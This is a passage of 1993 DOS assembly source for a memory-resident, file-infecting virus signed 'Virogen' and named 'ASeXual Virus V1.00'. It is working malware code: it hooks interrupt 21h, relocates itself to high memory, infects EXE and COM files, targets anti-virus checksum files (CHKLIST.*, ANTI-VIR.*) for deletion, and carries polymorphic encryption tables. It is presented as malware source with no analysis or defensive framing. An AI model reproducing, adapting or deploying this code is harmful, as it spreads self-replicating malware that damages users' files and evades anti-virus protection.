;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ah,signal ; is virus already in mem?
|
|||
|
int 21h
|
|||
|
cmp ah,reply
|
|||
|
je no_install ; yes.. don't install again
|
|||
|
cont_i:
|
|||
|
|
|||
|
mov ax,cs ; PSP segment
|
|||
|
dec ax ; mcb=psp-1
|
|||
|
mov ds,ax ; DS=MCB
|
|||
|
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in chain?
|
|||
|
jne no_install
|
|||
|
|
|||
|
sub word ptr ds: [3],(((vend-start+1023+heap_size)*2)/1024)*64 ; shrink block
|
|||
|
sub word ptr ds: [12h],(((vend-start+1023+heap_size)*2)/1024)*64
|
|||
|
mov es,word ptr ds: [12h] ; get high mem seg
|
|||
|
|
|||
|
mov si,bp
|
|||
|
add si,0100h
|
|||
|
mov cx,(offset vend - offset start)/2+1
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov di,100h ; New location in high memory
|
|||
|
rep movsw ; Copy virus to high memory
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax ; null es
|
|||
|
push ds
|
|||
|
lds ax,ds: [21h*4] ; get old int 21h seg:off
|
|||
|
mov es: old21_seg,ds ; save 'em
|
|||
|
mov es: old21_ofs,ax
|
|||
|
pop ds
|
|||
|
|
|||
|
|
|||
|
mov ds: [21h*4+2],es ; new int 21h seg
|
|||
|
mov ds: [21h*4],offset new21 ; new offset
|
|||
|
|
|||
|
sub byte ptr ds: [413h],((offset vend-offset start+1023+heap_size)*2)/1024
|
|||
|
|
|||
|
no_install:
|
|||
|
push cs ; Restore segment regs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
cmp byte ptr vtype[bp],parastic ; parastic infection?
|
|||
|
je com_return ; yes, return to start of COM
|
|||
|
|
|||
|
mov bx,(offset vend+100) ; Calculate memory needed
|
|||
|
mov cl,4 ; divide by 16
|
|||
|
shr bx,cl
|
|||
|
inc bx
|
|||
|
mov ah,4ah
|
|||
|
int 21h ; Release un-needed memory
|
|||
|
|
|||
|
lea dx,file_dir-1[bp] ; Execute the original EXE
|
|||
|
lea bx,par_blk[bp]
|
|||
|
mov ch,0fbh ; tell mem. resident virus
|
|||
|
mov ax,4b00h ; that it's us.
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,4dh ; get return code
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,4ch ; Exit
|
|||
|
int 21h
|
|||
|
|
|||
|
com_return:
|
|||
|
|
|||
|
mov si,bp ;
|
|||
|
mov cx,7 ; Restore original first
|
|||
|
add si,offset org_bytes ; seven bytes of COM file
|
|||
|
mov di,0100h ;
|
|||
|
rep movsb ;
|
|||
|
|
|||
|
mov ax,0100h ; Jump back to 100h - start of
|
|||
|
push ax ; original program
|
|||
|
ret ;
|
|||
|
|
|||
|
non_res endp
|
|||
|
|
|||
|
vtype db spawn ; Infection type
|
|||
|
com_name db 'COMMAND.COM' ; obvious
|
|||
|
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
|
|||
|
pad_bytes dw 0 ; Increase in virus size
|
|||
|
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
|||
|
nop_sub db 40h ; fill byte
|
|||
|
copyr db ' (c)1993 - Virogen ' ; my name
|
|||
|
v_id db ' ASeXual Virus V1.00 '
|
|||
|
spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
|
|||
|
spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill
|
|||
|
fname1 db '*.EXE',0 ; Filespec
|
|||
|
fname2 db '*.COM',0 ; Filespec
|
|||
|
change_num dw 1030 ; keep track of position of INC DI|SI
|
|||
|
addr_pos dw 0 ; relative location of MOV DI|SI
|
|||
|
cx_pos dw 17 ; relative location of MOV CX
|
|||
|
xor_pos dw 10 ; relative location of XOR
|
|||
|
loop_pos dw 0 ; relative location of LOOP
|
|||
|
xor_op db 81h,35h ; XOR word ptr CS:[DI|SI],XXXX
|
|||
|
di_op db 0bfh ; MOV DI|SI,
|
|||
|
mov_di dw 0 ; XXXX
|
|||
|
cx_op db 0b9h ; MOV CX
|
|||
|
b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two
|
|||
|
new_code db 0b9h ; MOV NN,
|
|||
|
dw 0000 ; XXXX
|
|||
|
push_reg db 51h ; PUSH NN
|
|||
|
db 0c3h ; RET - jump to NN
|
|||
|
times_inc db 0 ; # of times encryption call incremented
|
|||
|
sl db '\' ; Backslash for directory name
|
|||
|
file_dir db 64 dup(0) ; directory of file we infected
|
|||
|
file_name db 13 dup(0) ; filename of file we infected
|
|||
|
par_blk dw 0 ; command line count byte -psp
|
|||
|
par_cmd dw 0080h ; Point to the command line -psp
|
|||
|
par_seg dw 0 ; seg
|
|||
|
dw 05ch ; Use default FCB's in psp to save space
|
|||
|
par1 dw 0 ;
|
|||
|
dw 06ch ; FCB #2
|
|||
|
par2 dw 0 ;
|
|||
|
|
|||
|
vend: ; End of virus
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; heap - not written to disk
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
fname_off dw fname1 ; Offset of Filespec to use
|
|||
|
old_dta dd 0 ; Old DTA Segment:Address
|
|||
|
inf_count db 0 ; How many files we have infected this run
|
|||
|
fcb db 21 dup(0) ; fcb
|
|||
|
attrib db 0 ; file attribute
|
|||
|
f_time dw 0 ; file time
|
|||
|
f_date dw 0 ; file date
|
|||
|
f_sizeh dw 0 ; file size
|
|||
|
f_sizel dw 0 ;
|
|||
|
f_name db 13 dup(0) ; file name
|
|||
|
heap_end:
|
|||
|
|
|||
|
cseg ends
|
|||
|
end start
|